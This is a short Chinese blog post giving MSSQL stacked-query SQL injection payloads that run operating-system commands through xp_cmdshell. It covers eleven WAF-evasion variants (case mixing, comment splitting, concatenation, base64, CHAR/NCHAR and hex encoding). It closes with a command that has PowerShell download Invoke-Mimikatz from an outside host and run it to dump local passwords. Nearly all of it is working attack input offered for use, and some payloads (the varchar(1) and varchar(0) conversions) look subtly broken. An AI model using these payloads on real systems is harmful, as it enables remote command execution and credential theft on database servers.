MSSQL的Stacked queries注入

  1. use xp_cmdshell

    ';exec xp_cmdshell 'dir';--

  2. 大小写来绕过

    ';exec xP_cMdsheLL 'dir';--

  3. 利用注释替换关键字来绕过(在sqlserver 2000版本之后不适用)

    ';ex/**/ec xp_cmdshell 'dir';--

  4. 利用注释替换空格绕过(适用于所有版本的sqlserver)

    ';exec/**/xp_cmdshell/**/'dir';--

  5. 利用声明变量

    ';declare @cmd as varchar(3000);set @cmd='x'+'p'+'_'+'c'+'m'+'d'+'s'+'h'+'e'+'l'+'l'+'/**/'+''''+'d'+'i'+'r'+'''';exec(@cmd);--

  6. 利用base64编码

    ';DECLARE @data varchar(max), @XmlData xml;SET @data = 'ZXhlYyBtYXN0ZXIuLnhwX2NtZHNoZWxsICdkaXIn';SET @XmlData = CAST('' + @data + '' as xml);SET @data = CONVERT(varchar(max), @XmlData.value('(data)[1]', 'varbinary(max)'));exec (@data);--

  7. 利用char型ASCII码绕过

    ';Declare @cmd as varchar(3000);Set @cmd =(CHAR(101)+CHAR(120)+CHAR(101)+CHAR(99)+CHAR(32)+CHAR(109)+CHAR(97)+CHAR(115)+CHAR(116)+CHAR(101)+CHAR(114)+CHAR(46)+CHAR(46)+CHAR(120)+CHAR(112)+CHAR(95)+CHAR(99)+CHAR(109)+CHAR(100)+CHAR(115)+CHAR(104)+CHAR(101)+CHAR(108)+CHAR(108)+CHAR(32)+CHAR(39)+CHAR(100)+CHAR(105)+CHAR(114)+CHAR(39)+CHAR(59));EXEC(@cmd);--

  8. 利用unicode型ascii码绕过

    ';Declare @cmd as nvarchar(3000);Set @cmd =(nchar(101)+nchar(120)+nchar(101)+nchar(99)+nchar(32)+nchar(109)+nchar(97)+nchar(115)+nchar(116)+nchar(101)+nchar(114)+nchar(46)+nchar(46)+nchar(120)+nchar(112)+nchar(95)+nchar(99)+nchar(109)+nchar(100)+nchar(115)+nchar(104)+nchar(101)+nchar(108)+nchar(108)+nchar(32)+nchar(39)+nchar(100)+nchar(105)+nchar(114)+nchar(39)+nchar(59));EXEC(@cmd);--

  9. 利用0xhex编码绕过 cast函数

    ';Declare @cmd as varchar(3000);Set @cmd = cast(0x78705F636D647368656C6C202764697227 as varchar(3000));exec(@cmd);--

  10. 利用0xHex编码 convert函数

    ';Declare @cmd as varchar(3000);Set @cmd = convert(varchar(1),0x78705F636D647368656C6C202764697227);exec(@cmd);--

  11. 利用0xHex编码 exec函数

    ';Declare @cmd as varchar(3000);Set @cmd = convert(varchar(0),0x78705F636D647368656C6C202764697227);exec sp_sqlexec @cmd;--

当然如果是administrator的权限,您也可以直接调用powershell读取本地密码比如

exec xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString(''https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1''); Invoke-Mimikatz'

这里请注意:由于xp_cmdshell执行命令时需要用单引号,所以在链接的地方就要用两个单引号

zhutougg

继续阅读此作者的更多文章